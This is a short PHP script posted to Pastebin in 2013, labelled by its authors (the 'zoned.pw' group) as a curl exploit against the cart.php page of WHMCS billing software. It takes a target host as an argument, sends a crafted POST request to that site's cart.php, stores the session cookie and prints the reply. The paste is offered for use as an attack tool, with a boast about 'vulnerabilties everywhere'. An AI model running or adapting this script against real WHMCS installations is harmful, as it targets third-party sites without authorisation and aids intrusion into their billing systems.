Advertisement
Guest User

WHMCS Zoned [2]-cart.php

a guest
Jul 11th, 2013
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.76 KB | None | 0 0
  1. #!/usr/bin/php -f
  2. <?php
  3. #
  4. # cart.php curl exploit
  5. # getting zoned
  6. # zoned.pw
  7. # vulnerabilties everywhere, and its just beginning :)
  8. #
  9.  
  10. //
  11. // HTTP POST,
  12. //
  13.  
  14. $target = $argv[1];
  15.  
  16. $ch = curl_init();
  17. curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  18. curl_setopt($ch, CURLOPT_URL, "http://$target/cart.php");
  19. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
  20. curl_setopt($ch, CURLOPT_POST, 1);
  21. curl_setopt($ch, CURLOPT_POSTFIELDS, "productid=2&updateonly=1");
  22. curl_setopt($ch, CURLOPT_TIMEOUT, 3);
  23. curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 3);
  24. curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, 3);
  25. curl_setopt($ch, CURLOPT_COOKIEJAR, "/tmp/cookie_$target");
  26. $buf = curl_exec ($ch);
  27. curl_close($ch);
  28. unset($ch);
  29.  
  30. echo $buf;
  31. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement